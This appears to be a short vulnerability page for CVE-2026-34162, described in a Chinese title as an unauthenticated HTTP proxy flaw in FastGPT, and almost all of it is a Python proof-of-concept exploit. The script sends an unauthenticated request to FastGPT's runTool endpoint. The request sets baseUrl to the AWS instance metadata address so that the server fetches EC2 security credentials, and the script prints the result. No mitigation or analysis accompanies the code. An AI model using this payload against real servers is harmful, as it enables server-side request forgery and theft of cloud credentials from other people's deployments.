CVE-2026-34162 FastGPT未认证HTTP代理漏洞

import requests import json target_url = "http://fastgpt-server-url" # Replace with actual target exploit_endpoint = "/api/core/app/httpTools/runTool" # SSRF Payload: Trying to access internal metadata service (AWS Example) ssrf_target = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" payload = { "appId": "test", # May need a valid appId depending on implementation, but description says no auth "baseUrl": ssrf_target, "toolPath": "", "method": "GET", "headers": {}, "params": {}, "body": {} } try: response = requests.post(f"{target_url}{exploit_endpoint}", json=payload, timeout=10) print(f"Status Code: {response.status_code}") print("Response Headers:", response.headers) print("Response Body:", response.text) except Exception as e: print(f"Error: {e}")